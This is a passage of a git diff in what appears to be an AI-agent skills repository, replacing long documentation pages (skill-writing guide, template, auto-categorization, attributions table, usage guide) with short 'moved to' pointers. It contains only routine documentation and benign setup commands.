-\`\`\`javascript
-// More code
-\`\`\`
-```
-
-**Why examples matter:** They show the AI exactly what good output looks like
-
-#### 6. Best Practices
-```markdown
-## Best Practices
-
-- ✅ Do this
-- ✅ Also do this
-- ❌ Don't do this
-- ❌ Avoid this
-```
-
-#### 7. Common Pitfalls
-```markdown
-## Common Pitfalls
-
-- **Problem:** Description
- **Solution:** How to fix it
-```
-
-#### 8. Related Skills
-```markdown
-## Related Skills
-
-- `@other-skill` - When to use this instead
-- `@complementary-skill` - How this works together
-```
-
----
-
-## Writing Effective Instructions
-
-### Use Clear, Direct Language
-
-**❌ Bad:**
-```markdown
-You might want to consider possibly checking if the user has authentication.
-```
-
-**✅ Good:**
-```markdown
-Check if the user is authenticated before proceeding.
-```
-
-### Use Action Verbs
-
-**❌ Bad:**
-```markdown
-The file should be created...
-```
-
-**✅ Good:**
-```markdown
-Create the file...
-```
-
-### Be Specific
-
-**❌ Bad:**
-```markdown
-Set up the database properly.
-```
-
-**✅ Good:**
-```markdown
-1. Create a PostgreSQL database
-2. Run migrations: `npm run migrate`
-3. Seed initial data: `npm run seed`
-```
-
----
-
-## Optional Components
-
-### Scripts Directory
-
-If your skill needs helper scripts:
-
-```
-scripts/
-├── setup.sh ← Setup automation
-├── validate.py ← Validation tools
-└── generate.js ← Code generators
-```
-
-**Reference them in SKILL.md:**
-```markdown
-Run the setup script:
-\`\`\`bash
-bash scripts/setup.sh
-\`\`\`
-```
-
-### Examples Directory
-
-Real-world examples that demonstrate the skill:
-
-```
-examples/
-├── basic-usage.js
-├── advanced-pattern.ts
-└── full-implementation/
- ├── index.js
- └── config.json
-```
-
-### Templates Directory
-
-Reusable code templates:
-
-```
-templates/
-├── component.tsx
-├── test.spec.ts
-└── config.json
-```
-
-**Reference in SKILL.md:**
-```markdown
-Use this template as a starting point:
-\`\`\`typescript
-{{#include templates/component.tsx}}
-\`\`\`
-```
-
-### References Directory
-
-External documentation or API references:
-
-```
-references/
-├── api-docs.md
-├── best-practices.md
-└── troubleshooting.md
-```
-
----
-
-## Skill Size Guidelines
-
-### Minimum Viable Skill
-- **Frontmatter:** name + description
-- **Content:** 100-200 words
-- **Sections:** Overview + Instructions
-
-### Standard Skill
-- **Frontmatter:** name + description
-- **Content:** 300-800 words
-- **Sections:** Overview + When to Use + Instructions + Examples
-
-### Comprehensive Skill
-- **Frontmatter:** name + description + optional fields
-- **Content:** 800-2000 words
-- **Sections:** All recommended sections
-- **Extras:** Scripts, examples, templates
-
-**Rule of thumb:** Start small, expand based on feedback
-
----
-
-## Formatting Best Practices
-
-### Use Markdown Effectively
-
-#### Code Blocks
-Always specify the language:
-```markdown
-\`\`\`javascript
-const example = "code";
-\`\`\`
-```
-
-#### Lists
-Use consistent formatting:
-```markdown
-- Item 1
-- Item 2
- - Sub-item 2.1
- - Sub-item 2.2
-```
-
-#### Emphasis
-- **Bold** for important terms: `**important**`
-- *Italic* for emphasis: `*emphasis*`
-- `Code` for commands/code: `` `code` ``
-
-#### Links
-```markdown
-[Link text](https://example.com)
-```
-
----
-
-## ✅ Quality Checklist
-
-Before finalizing your skill:
-
-### Content Quality
-- [ ] Instructions are clear and actionable
-- [ ] Examples are realistic and helpful
-- [ ] No typos or grammar errors
-- [ ] Technical accuracy verified
-
-### Structure
-- [ ] Frontmatter is valid YAML
-- [ ] Name matches folder name
-- [ ] Sections are logically organized
-- [ ] Headings follow hierarchy (H1 → H2 → H3)
-
-### Completeness
-- [ ] Overview explains the "why"
-- [ ] Instructions explain the "how"
-- [ ] Examples show the "what"
-- [ ] Edge cases are addressed
-
-### Usability
-- [ ] A beginner could follow this
-- [ ] An expert would find it useful
-- [ ] The AI can parse it correctly
-- [ ] It solves a real problem
-
----
-
-## 🔍 Real-World Example Analysis
-
-Let's analyze a real skill: `brainstorming`
-
-```markdown
----
-name: brainstorming
-description: "You MUST use this before any creative work..."
----
-```
-
-**Analysis:**
-- ✅ Clear name
-- ✅ Strong description with urgency ("MUST use")
-- ✅ Explains when to use it
-
-```markdown
-# Brainstorming Ideas Into Designs
-
-## Overview
-Help turn ideas into fully formed designs...
-```
-
-**Analysis:**
-- ✅ Clear title
-- ✅ Concise overview
-- ✅ Explains the value proposition
-
-```markdown
-## The Process
-
-**Understanding the idea:**
-- Check out the current project state first
-- Ask questions one at a time
-```
-
-**Analysis:**
-- ✅ Broken into clear phases
-- ✅ Specific, actionable steps
-- ✅ Easy to follow
-
----
-
-## Advanced Patterns
-
-### Conditional Logic
-
-```markdown
-## Instructions
-
-If the user is working with React:
-- Use functional components
-- Prefer hooks over class components
-
-If the user is working with Vue:
-- Use Composition API
-- Follow Vue 3 patterns
-```
-
-### Progressive Disclosure
-
-```markdown
-## Basic Usage
-[Simple instructions for common cases]
-
-## Advanced Usage
-[Complex patterns for power users]
-```
-
-### Cross-References
-
-```markdown
-## Related Workflows
-
-1. First, use `@brainstorming` to design
-2. Then, use `@writing-plans` to plan
-3. Finally, use `@test-driven-development` to implement
-```
-
----
-
-## Skill Effectiveness Metrics
-
-How to know if your skill is good:
-
-### Clarity Test
-- Can someone unfamiliar with the topic follow it?
-- Are there any ambiguous instructions?
-
-### Completeness Test
-- Does it cover the happy path?
-- Does it handle edge cases?
-- Are error scenarios addressed?
-
-### Usefulness Test
-- Does it solve a real problem?
-- Would you use this yourself?
-- Does it save time or improve quality?
-
----
-
-## Learning from Existing Skills
-
-### Study These Examples
-
-**For Beginners:**
-- `skills/brainstorming/SKILL.md` - Clear structure
-- `skills/git-pushing/SKILL.md` - Simple and focused
-- `skills/copywriting/SKILL.md` - Good examples
-
-**For Advanced:**
-- `skills/systematic-debugging/SKILL.md` - Comprehensive
-- `skills/react-best-practices/SKILL.md` - Multiple files
-- `skills/loki-mode/SKILL.md` - Complex workflows
-
----
-
-## 💡 Pro Tips
-
-1. **Start with the "When to Use" section** - This clarifies the skill's purpose
-2. **Write examples first** - They help you understand what you're teaching
-3. **Test with an AI** - See if it actually works before submitting
-4. **Get feedback** - Ask others to review your skill
-5. **Iterate** - Skills improve over time based on usage
-
----
-
-## Common Mistakes to Avoid
-
-### ❌ Mistake 1: Too Vague
-```markdown
-## Instructions
-Make the code better.
-```
-
-**✅ Fix:**
-```markdown
-## Instructions
-1. Extract repeated logic into functions
-2. Add error handling for edge cases
-3. Write unit tests for core functionality
-```
-
-### ❌ Mistake 2: Too Complex
-```markdown
-## Instructions
-[5000 words of dense technical jargon]
-```
-
-**✅ Fix:**
-Break into multiple skills or use progressive disclosure
-
-### ❌ Mistake 3: No Examples
-```markdown
-## Instructions
-[Instructions without any code examples]
-```
-
-**✅ Fix:**
-Add at least 2-3 realistic examples
-
-### ❌ Mistake 4: Outdated Information
-```markdown
-Use React class components...
-```
-
-**✅ Fix:**
-Keep skills updated with current best practices
-
----
-
-## 🎯 Next Steps
-
-1. **Read 3-5 existing skills** to see different styles
-2. **Try the skill template** from CONTRIBUTING_GUIDE.md
-3. **Create a simple skill** for something you know well
-4. **Test it** with your AI assistant
-5. **Share it** via Pull Request
-
----
-
-**Remember:** Every expert was once a beginner. Start simple, learn from feedback, and improve over time! 🚀
+This document moved to [`contributors/skill-anatomy.md`](contributors/skill-anatomy.md).
diff --git a/docs/SKILL_TEMPLATE.md b/docs/SKILL_TEMPLATE.md
index c215e572..06b81ee4 100644
--- a/docs/SKILL_TEMPLATE.md
+++ b/docs/SKILL_TEMPLATE.md
@@ -1,62 +1,3 @@
----
-name: your-skill-name
-description: "Brief one-sentence description of what this skill does (under 200 characters)"
-category: your-category
-risk: safe
-source: community
-date_added: "YYYY-MM-DD"
----
+# Skill Template
-# Skill Title
-
-## Overview
-
-A brief explanation of what this skill does and why it exists.
-2-4 sentences is perfect.
-
-## When to Use This Skill
-
-- Use when you need to [scenario 1]
-- Use when working with [scenario 2]
-- Use when the user asks about [scenario 3]
-
-## How It Works
-
-### Step 1: [Action]
-
-Detailed instructions...
-
-### Step 2: [Action]
-
-More instructions...
-
-## Examples
-
-### Example 1: [Use Case]
-
-\`\`\`javascript
-// Example code
-\`\`\`
-
-### Example 2: [Another Use Case]
-
-\`\`\`javascript
-// More code
-\`\`\`
-
-## Best Practices
-
-- ✅ Do this
-- ✅ Also do this
-- ❌ Don't do this
-- ❌ Avoid this
-
-## Common Pitfalls
-
-- **Problem:** Description
- **Solution:** How to fix it
-
-## Related Skills
-
-- `@other-skill` - When to use this instead
-- `@complementary-skill` - How this works together
+This document moved to [`contributors/skill-template.md`](contributors/skill-template.md).
diff --git a/docs/SMART_AUTO_CATEGORIZATION.md b/docs/SMART_AUTO_CATEGORIZATION.md
index 39e885a6..ea1ef26f 100644
--- a/docs/SMART_AUTO_CATEGORIZATION.md
+++ b/docs/SMART_AUTO_CATEGORIZATION.md
@@ -1,219 +1,3 @@
-# Smart Auto-Categorization Guide
+# Smart Auto Categorization
-## Overview
-
-The skill collection now uses intelligent auto-categorization to eliminate "uncategorized" and organize skills into meaningful categories based on their content.
-
-## Current Status
-
-✅ **946 total skills**
-- 820 skills in meaningful categories (87%)
-- 126 skills still uncategorized (13%)
-- 11 primary categories
-- Categories sorted by skill count (most first)
-
-## Category Distribution
-
-| Category | Count | Examples |
-|----------|-------|----------|
-| Backend | 164 | Node.js, Django, Express, FastAPI |
-| Web Development | 107 | React, Vue, Tailwind, CSS |
-| Automation | 103 | Workflow, Scripting, RPA |
-| DevOps | 83 | Docker, Kubernetes, CI/CD, Git |
-| AI/ML | 79 | TensorFlow, PyTorch, NLP, LLM |
-| Content | 47 | Documentation, SEO, Writing |
-| Database | 44 | SQL, MongoDB, PostgreSQL |
-| Testing | 38 | Jest, Cypress, Unit Testing |
-| Security | 36 | Encryption, Authentication |
-| Cloud | 33 | AWS, Azure, GCP |
-| Mobile | 21 | React Native, Flutter, iOS |
-| Game Dev | 15 | Unity, WebGL, 3D |
-| Data Science | 14 | Pandas, NumPy, Analytics |
-
-## How It Works
-
-### 1. **Keyword-Based Analysis**
-The system analyzes skill names and descriptions for keywords:
-- **Backend**: nodejs, express, fastapi, django, server, api, database
-- **Web Dev**: react, vue, angular, frontend, css, html, tailwind
-- **AI/ML**: ai, machine learning, tensorflow, nlp, gpt
-- **DevOps**: docker, kubernetes, ci/cd, deploy
-- And more...
-
-### 2. **Priority System**
-Frontmatter category > Detected Keywords > Fallback (uncategorized)
-
-If a skill already has a category in frontmatter, that's preserved.
-
-### 3. **Scope-Based Matching**
-- Exact phrase matches weighted 2x higher than partial matches
-- Uses word boundaries to avoid false positives
-
-## Using the Auto-Categorization
-
-### Run on Uncategorized Skills
-```bash
-python scripts/auto_categorize_skills.py
-```
-
-### Preview Changes First (Dry Run)
-```bash
-python scripts/auto_categorize_skills.py --dry-run
-```
-
-### Output
-```
-======================================================================
-AUTO-CATEGORIZATION REPORT
-======================================================================
-
-Summary:
- ✅ Categorized: 776
- ⏭️ Already categorized: 46
- ❌ Failed to categorize: 124
- 📈 Total processed: 946
-
-Sample changes:
- • 3d-web-experience
- uncategorized → web-development
- • ab-test-setup
- uncategorized → testing
- • agent-framework-azure-ai-py
- uncategorized → backend
-```
-
-## Web App Improvements
-
-### Category Filter
-**Before:**
-- Unordered list including "uncategorized"
-- No indication of category size
-
-**After:**
-- Categories sorted by skill count (most first, "uncategorized" last)
-- Shows count: "Backend (164)" "Web Development (107)"
-- Much easier to browse
-
-### Example Dropdowns
-
-**Sorted Order:**
-1. All Categories
-2. Backend (164)
-3. Web Development (107)
-4. Automation (103)
-5. DevOps (83)
-6. AI/ML (79)
-7. ... more categories ...
-8. Uncategorized (126) ← at the end
-
-## For Skill Creators
-
-### When Adding a New Skill
-
-Include category in frontmatter:
-```yaml
----
-name: my-skill
-description: "..."
-category: web-development
-date_added: "2025-02-26"
----
-```
-
-### If You're Not Sure
-
-The system will automatically categorize on next index regeneration:
-```bash
-python scripts/generate_index.py
-```
-
-## Keyword Reference
-
-Available auto-categorization keywords by category:
-
-**Backend**: nodejs, node.js, express, fastapi, django, flask, spring, java, python, golang, rust, server, api, rest, graphql, database, sql, mongodb
-
-**Web Development**: react, vue, angular, html, css, javascript, typescript, frontend, tailwind, bootstrap, webpack, vite, pwa, responsive, seo
-
-**Database**: database, sql, postgres, mysql, mongodb, firestore, redis, orm, schema
-
-**AI/ML**: ai, machine learning, ml, tensorflow, pytorch, nlp, llm, gpt, transformer, embedding, training
-
-**DevOps**: docker, kubernetes, ci/cd, git, jenkins, terraform, ansible, deploy, container, monitoring
-
-**Cloud**: aws, azure, gcp, serverless, lambda, storage, cdn
-
-**Security**: encryption, cryptography, jwt, oauth, authentication, authorization, vulnerability
-
-**Testing**: test, jest, mocha, pytest, cypress, selenium, unit test, e2e
-
-**Mobile**: mobile, react native, flutter, ios, android, swift, kotlin
-
-**Automation**: automation, workflow, scripting, robot, trigger, integration
-
-**Game Development**: game, unity, unreal, godot, threejs, 2d, 3d, physics
-
-**Data Science**: data, analytics, pandas, numpy, statistics, visualization
-
-## Customization
-
-### Add Custom Keywords
-
-Edit [scripts/auto_categorize_skills.py](scripts/auto_categorize_skills.py):
-
-```python
-CATEGORY_KEYWORDS = {
- 'your-category': [
- 'keyword1', 'keyword2', 'exact phrase', 'another-keyword'
- ],
- # ... other categories
-}
-```
-
-Then re-run:
-```bash
-python scripts/auto_categorize_skills.py
-python scripts/generate_index.py
-```
-
-## Troubleshooting
-
-### "Failed to categorize" Skills
-
-Some skills may be too generic or unique. You can:
-
-1. **Manually set category** in the skill's frontmatter:
-```yaml
-category: your-chosen-category
-```
-
-2. **Add keywords** to CATEGORY_KEYWORDS config
-
-3. **Move to folder** if it fits a broader category:
-```
-skills/backend/my-new-skill/SKILL.md
-```
-
-### Regenerating Index
-
-After making changes to SKILL.md files:
-```bash
-python scripts/generate_index.py
-```
-
-This will:
-- Parse frontmatter categories
-- Fallback to folder structure
-- Generate new skills_index.json
-- Copy to web-app/public/skills.json
-
-## Next Steps
-
-1. **Test in web app**: Try the improved category filter
-2. **Add missing keywords**: If certain skills are still uncategorized
-3. **Organize remaining 126**: Either auto-assign or manually review
-4. **Monitor growth**: Use reports to track new vs categorized skills
-
----
-
-**Result**: Much cleaner category filter with smart, meaningful organization! 🎉
+This document moved to [`maintainers/smart-auto-categorization.md`](maintainers/smart-auto-categorization.md).
diff --git a/docs/SOURCES.md b/docs/SOURCES.md
index f1a72b6e..0bbf6ae3 100644
--- a/docs/SOURCES.md
+++ b/docs/SOURCES.md
@@ -1,145 +1,3 @@
-# 📜 Sources & Attributions
+# Sources
-We believe in giving credit where credit is due.
-If you recognize your work here and it is not properly attributed, please open an Issue.
-
-| Skill / Category | Original Source | License | Notes |
-| :-------------------------- | :------------------------------------------------------------------------- | :------------- | :---------------------------- |
-| `cloud-penetration-testing` | [HackTricks](https://book.hacktricks.xyz/) | MIT / CC-BY-SA | Adapted for agentic use. |
-| `active-directory-attacks` | [HackTricks](https://book.hacktricks.xyz/) | MIT / CC-BY-SA | Adapted for agentic use. |
-| `owasp-top-10` | [OWASP](https://owasp.org/) | CC-BY-SA | Methodology adapted. |
-| `burp-suite-testing` | [PortSwigger](https://portswigger.net/burp) | N/A | Usage guide only (no binary). |
-| `crewai` | [CrewAI](https://github.com/joaomdmoura/crewAI) | MIT | Framework guides. |
-| `langgraph` | [LangGraph](https://github.com/langchain-ai/langgraph) | MIT | Framework guides. |
-| `react-patterns` | [React Docs](https://react.dev/) | CC-BY | Official patterns. |
-| **All Official Skills** | [Anthropic / Google / OpenAI / Microsoft / Supabase / Apify / Vercel Labs] | Proprietary | Usage encouraged by vendors. |
-
-## Skills from VoltAgent/awesome-agent-skills
-
-The following skills were added from the curated collection at [VoltAgent/awesome-agent-skills](https://github.com/VoltAgent/awesome-agent-skills):
-
-### Official Team Skills
-
-| Skill | Original Source | License | Notes |
-| :------------------------------------------------------------------------------------------- | :------------------------------------------------------------------------ | :--------- | :--------------------------------- |
-| `vercel-deploy-claimable` | [Vercel Labs](https://github.com/vercel-labs/agent-skills) | MIT | Official Vercel skill |
-| `design-md` | [Google Labs (Stitch)](https://github.com/google-labs-code/stitch-skills) | Compatible | Google Labs Stitch skills |
-| `hugging-face-cli`, `hugging-face-jobs` | [Hugging Face](https://github.com/huggingface/skills) | Compatible | Official Hugging Face skills |
-| `culture-index`, `fix-review`, `sharp-edges` | [Trail of Bits](https://github.com/trailofbits/skills) | Compatible | Security skills from Trail of Bits |
-| `expo-deployment`, `upgrading-expo` | [Expo](https://github.com/expo/skills) | Compatible | Official Expo skills |
-| `commit`, `create-pr`, `find-bugs`, `iterate-pr` | [Sentry](https://github.com/getsentry/skills) | Compatible | Sentry dev team skills |
-| `using-neon` | [Neon](https://github.com/neondatabase/agent-skills) | Compatible | Neon Postgres best practices |
-| `fal-audio`, `fal-generate`, `fal-image-edit`, `fal-platform`, `fal-upscale`, `fal-workflow` | [fal.ai Community](https://github.com/fal-ai-community/skills) | Compatible | fal.ai AI model skills |
-
-### Community Skills
-
-| Skill | Original Source | License | Notes |
-| :------------------------------------------------------------------ | :-------------------------------------------------------------------------- | :--------- | :----------------------------- |
-| `automate-whatsapp`, `observe-whatsapp` | [gokapso](https://github.com/gokapso/agent-skills) | Compatible | WhatsApp automation skills |
-| `readme` | [Shpigford](https://github.com/Shpigford/skills) | Compatible | README generation |
-| `screenshots` | [Shpigford](https://github.com/Shpigford/skills) | Compatible | Marketing screenshots |
-| `aws-skills` | [zxkane](https://github.com/zxkane/aws-skills) | Compatible | AWS development patterns |
-| `deep-research` | [sanjay3290](https://github.com/sanjay3290/ai-skills) | Compatible | Gemini Deep Research Agent |
-| `ffuf-claude-skill` | [jthack](https://github.com/jthack/ffuf_claude_skill) | Compatible | Web fuzzing with ffuf |
-| `ui-skills` | [ibelick](https://github.com/ibelick/ui-skills) | Compatible | UI development constraints |
-| `vexor` | [scarletkc](https://github.com/scarletkc/vexor) | Compatible | Vector-powered CLI |
-| `pypict-skill` | [omkamal](https://github.com/omkamal/pypict-claude-skill) | Compatible | Pairwise test generation |
-| `makepad-skills` | [ZhangHanDong](https://github.com/ZhangHanDong/makepad-skills) | Compatible | Makepad UI development |
-| `swiftui-expert-skill` | [AvdLee](https://github.com/AvdLee/SwiftUI-Agent-Skill) | Compatible | SwiftUI best practices |
-| `threejs-skills` | [CloudAI-X](https://github.com/CloudAI-X/threejs-skills) | Compatible | Three.js 3D experiences |
-| `claude-scientific-skills` | [K-Dense-AI](https://github.com/K-Dense-AI/claude-scientific-skills) | Compatible | Scientific research skills |
-| `claude-win11-speckit-update-skill` | [NotMyself](https://github.com/NotMyself/claude-win11-speckit-update-skill) | Compatible | Windows 11 management |
-| `imagen` | [sanjay3290](https://github.com/sanjay3290/ai-skills) | Compatible | Google Gemini image generation |
-| `security-bluebook-builder` | [SHADOWPR0](https://github.com/SHADOWPR0/security-bluebook-builder) | Compatible | Security documentation |
-| `claude-ally-health` | [huifer](https://github.com/huifer/Claude-Ally-Health) | Compatible | Health assistant |
-| `clarity-gate` | [frmoretto](https://github.com/frmoretto/clarity-gate) | Compatible | RAG quality verification |
-| `n8n-code-python`, `n8n-mcp-tools-expert`, `n8n-node-configuration` | [czlonkowski](https://github.com/czlonkowski/n8n-skills) | Compatible | n8n automation skills |
-| `varlock-claude-skill` | [wrsmith108](https://github.com/wrsmith108/varlock-claude-skill) | Compatible | Secure environment variables |
-| `beautiful-prose` | [SHADOWPR0](https://github.com/SHADOWPR0/beautiful_prose) | Compatible | Writing style guide |
-| `claude-speed-reader` | [SeanZoR](https://github.com/SeanZoR/claude-speed-reader) | Compatible | Speed reading tool |
-| `skill-seekers` | [yusufkaraaslan](https://github.com/yusufkaraaslan/Skill_Seekers) | Compatible | Skill conversion tool |
-
-- **frontend-slides** - [zarazhangrui](https://github.com/zarazhangrui/frontend-slides)
-- **linear-claude-skill** - [wrsmith108](https://github.com/wrsmith108/linear-claude-skill)
-- **skill-rails-upgrade** - [robzolkos](https://github.com/robzolkos/skill-rails-upgrade)
-- **context-fundamentals** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
-- **context-degradation** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
-- **context-compression** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
-- **context-optimization** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
-- **multi-agent-patterns** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
-- **tool-design** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
-- **evaluation** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
-- **memory-systems** - [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering)
-- **terraform-skill** - [antonbabenko](https://github.com/antonbabenko/terraform-skill)
-
-## Skills from whatiskadudoing/fp-ts-skills (v4.4.0)
-
-| Skill | Original Source | License | Notes |
-| :---------------- | :------------------------------------------------------------------------------ | :--------- | :------------------------------------------------------- |
-| `fp-ts-pragmatic` | [whatiskadudoing/fp-ts-skills](https://github.com/whatiskadudoing/fp-ts-skills) | Compatible | Pragmatic fp-ts guide – pipe, Option, Either, TaskEither |
-| `fp-ts-react` | [whatiskadudoing/fp-ts-skills](https://github.com/whatiskadudoing/fp-ts-skills) | Compatible | fp-ts with React 18/19 and Next.js |
-| `fp-ts-errors` | [whatiskadudoing/fp-ts-skills](https://github.com/whatiskadudoing/fp-ts-skills) | Compatible | Type-safe error handling with Either and TaskEither |
-
----
-
-## Recently Added Skills (March 2026)
-
-The following skills were added during the March 2026 skills update:
-
-### UI/UX & Frontend
-| Skill | Source | License | Notes |
-|-------|--------|---------|-------|
-| `baseline-ui`, `fixing-accessibility`, `fixing-metadata`, `fixing-motion-performance` | [ibelick/ui-skills](https://github.com/ibelick/ui-skills) | Compatible | UI polish and validation |
-| `expo-ui-swift-ui`, `expo-ui-jetpack-compose`, `expo-tailwind-setup`, `building-native-ui`, `expo-api-routes`, `expo-dev-client`, `expo-cicd-workflows`, `native-data-fetching` | [expo/skills](https://github.com/expo/skills) | MIT | Expo/React Native skills |
-| `swiftui-expert-skill` | [AvdLee/SwiftUI-Agent-Skill](https://github.com/AvdLee/SwiftUI-Agent-Skill) | Compatible | SwiftUI development |
-| `threejs-fundamentals`, `threejs-geometry`, `threejs-materials`, `threejs-lighting`, `threejs-textures`, `threejs-animation`, `threejs-loaders`, `threejs-shaders`, `threejs-postprocessing`, `threejs-interaction` | [CloudAI-X/threejs-skills](https://github.com/CloudAI-X/threejs-skills) | Compatible | Three.js 3D graphics |
-| `frontend-slides` | [zarazhangrui](https://github.com/zarazhangrui/frontend-slides) | Compatible | HTML presentations |
-
-### Automation & Integration
-| Skill | Source | License | Notes |
-|-------|--------|---------|-------|
-| `gmail-automation`, `google-calendar-automation`, `google-docs-automation`, `google-sheets-automation`, `google-drive-automation`, `google-slides-automation` | [sanjay3290/ai-skills](https://github.com/sanjay3290/ai-skills) | Compatible | Google Workspace integration |
-| `n8n-expression-syntax`, `n8n-mcp-tools-expert`, `n8n-workflow-patterns`, `n8n-validation-expert`, `n8n-node-configuration`, `n8n-code-javascript`, `n8n-code-python` | [czlonkowski/n8n-skills](https://github.com/czlonkowski/n8n-skills) | Compatible | n8n workflow automation |
-| `automate-whatsapp` | [gokapso/agent-skills](https://github.com/gokapso/agent-skills) | Compatible | WhatsApp automation |
-| `linear` | [wrsmith108/linear-claude-skill](https://github.com/wrsmith108/linear-claude-skill) | Compatible | Linear project management |
-| `rails-upgrade` | [robzolkos](https://github.com/robzolkos/skill-rails-upgrade) | Compatible | Rails upgrade assistant |
-| `vexor-cli` | [scarletkc/vexor](https://github.com/scarletkc/vexor) | Compatible | Semantic file discovery |
-
-### Machine Learning & Data
-| Skill | Source | License | Notes |
-|-------|--------|---------|-------|
-| `hugging-face-dataset-viewer`, `hugging-face-datasets`, `hugging-face-evaluation`, `hugging-face-model-trainer`, `hugging-face-paper-publisher`, `hugging-face-tool-builder` | [huggingface/skills](https://github.com/huggingface/skills) | Compatible | HuggingFace ML tools |
-| `numpy`, `pandas`, `scipy`, `matplotlib`, `scikit-learn`, `jupyter-workflow` | [K-Dense-AI/claude-scientific-skills](https://github.com/K-Dense-AI/claude-scientific-skills) | Compatible | Data science essentials |
-| `biopython`, `scanpy`, `uniprot-database`, `pubmed-database` | [K-Dense-AI/claude-scientific-skills](https://github.com/K-Dense-AI/claude-scientific-skills) | Compatible | Bioinformatics tools |
-
-### Security & Auditing
-| Skill | Source | License | Notes |
-|-------|--------|---------|-------|
-| `semgrep-rule-creator`, `semgrep-rule-variant-creator`, `static-analysis`, `variant-analysis` | [trailofbits/skills](https://github.com/trailofbits/skills) | Compatible | Code security analysis |
-| `golang-security-auditor`, `python-security-auditor`, `rust-security-auditor` | [trailofbits/skills](https://github.com/trailofbits/skills) | Compatible | Language-specific security |
-| `burpsuite-project-parser`, `agentic-actions-auditor`, `audit-context-building`, `proof-of-vulnerability`, `yara-authoring` | [trailofbits/skills](https://github.com/trailofbits/skills) | Compatible | Security testing tools |
-
-### Context Engineering & AI
-| Skill | Source | License | Notes |
-|-------|--------|---------|-------|
-| `context-fundamentals`, `context-degradation`, `context-compression`, `context-optimization`, `multi-agent-patterns`, `filesystem-context` | [muratcankoylan](https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering) | Compatible | Context engineering patterns |
-
-### Health & Wellness
-| Skill | Source | License | Notes |
-|-------|--------|---------|-------|
-| `sleep-analyzer`, `nutrition-analyzer`, `fitness-analyzer` | [huifer/Claude-Ally-Health](https://github.com/huifer/Claude-Ally-Health) | Compatible | Health tracking |
-
-### Quality & Verification
-| Skill | Source | License | Notes |
-|-------|--------|---------|-------|
-| `clarity-gate` | [frmoretto/clarity-gate](https://github.com/frmoretto/clarity-gate) | Compatible | RAG quality verification |
-
-**Total: 80+ new skills added**
-
----
-
-## License Policy
-
-- **Code**: All original code in this repository is **MIT**.
-- **Content**: Documentation is **CC-BY-4.0**.
-- **Third Party**: We respect the upstream licenses. If an imported skill is GPL, it will be marked clearly or excluded (we aim for MIT/Apache compatibility).
+This document moved to [`sources/sources.md`](sources/sources.md).
diff --git a/docs/USAGE.md b/docs/USAGE.md
index 01931fc5..6fe6ee28 100644
--- a/docs/USAGE.md
+++ b/docs/USAGE.md
@@ -1,394 +1,3 @@
-# 📖 Usage Guide: How to Actually Use These Skills
+# Usage Guide
-> **Confused after installation?** This guide walks you through exactly what to do next, step by step.
-
----
-
-## 🤔 "I just installed the repository. Now what?"
-
-Great question! Here's what just happened and what to do next:
-
-### What You Just Did
-
-When you ran `npx antigravity-awesome-skills` or cloned the repository, you:
-
-✅ **Downloaded 978+ skill files** to your computer (default: `~/.gemini/antigravity/skills/`; or `~/.agent/skills/` if you used `--path`)
-✅ **Made them available** to your AI assistant
-❌ **Did NOT enable them all automatically** (they're just sitting there, waiting)
-
-Think of it like installing a toolbox. You have all the tools now, but you need to **pick which ones to use** for each job.
-
----
-
-## 🎯 Step 1: Understanding "Bundles" (This is NOT Another Install!)
-
-**Common confusion:** "Do I need to download each skill separately?"
-
-**Answer: NO!** Here's what bundles actually are:
-
-### What Bundles Are
-
-Bundles are **recommended lists** of skills grouped by role. They help you decide which skills to start using.
-
-**Analogy:**
-
-- You installed a toolbox with 978+ tools (✅ done)
-- Bundles are like **labeled organizer trays** saying: "If you're a carpenter, start with these 10 tools"
-- You don't install bundles—you **pick skills from them**
-
-### What Bundles Are NOT
-
-❌ Separate installations
-❌ Different download commands
-❌ Something you need to "activate"
-
-### Example: The "Web Wizard" Bundle
-
-When you see the [Web Wizard bundle](BUNDLES.md#-the-web-wizard-pack), it lists:
-
-- `frontend-design`
-- `react-best-practices`
-- `tailwind-patterns`
-- etc.
-
-These are **recommendations** for which skills a web developer should try first. They're already installed—you just need to **use them in your prompts**.
-
----
-
-## 🚀 Step 2: How to Actually Execute/Use a Skill
-
-This is the part that should have been explained better! Here's how to use skills:
-
-### The Simple Answer
-
-**Just mention the skill name in your conversation with your AI assistant.**
-
-### Different Tools, Different Syntax
-
-The exact syntax varies by tool, but it's always simple:
-
-#### Claude Code (CLI)
-
-```bash
-# In your terminal/chat with Claude Code:
->> Use @brainstorming to help me design a todo app
-```
-
-#### Cursor (IDE)
-
-```bash
-# In the Cursor chat panel:
-@brainstorming help me design a todo app
-```
-
-#### Gemini CLI
-
-```bash
-# In your conversation with Gemini:
-Use the brainstorming skill to help me plan my app
-```
-
-#### Codex CLI
-
-```bash
-# In your conversation with Codex:
-Apply @brainstorming to design a new feature
-```
-
-#### Antigravity IDE
-
-```bash
-# In agent mode:
-Use @brainstorming to plan this feature
-```
-
-> **Pro Tip:** Most modern tools use the `@skill-name` syntax. When in doubt, try that first!
-
----
-
-## 💬 Step 3: What Should My Prompts Look Like?
-
-Here are **real-world examples** of good prompts:
-
-### Example 1: Starting a New Project
-
-**Bad Prompt:**
-
-> "Help me build a todo app"
-
-**Good Prompt:**
-
-> "Use @brainstorming to help me design a todo app with user authentication and cloud sync"
-
-**Why it's better:** You're explicitly invoking the skill and providing context.
-
----
-
-### Example 2: Reviewing Code
-
-**Bad Prompt:**
-
-> "Check my code"
-
-**Good Prompt:**
-
-> "Use @lint-and-validate to check `src/components/Button.tsx` for issues"
-
-**Why it's better:** Specific skill + specific file = precise results.
-
----
-
-### Example 3: Security Audit
-
-**Bad Prompt:**
-
-> "Make my API secure"
-
-**Good Prompt:**
-
-> "Use @api-security-best-practices to review my REST endpoints in `routes/api/users.js`"
-
-**Why it's better:** The AI knows exactly which skill's standards to apply.
-
----
-
-### Example 4: Combining Multiple Skills
-
-**Good Prompt:**
-
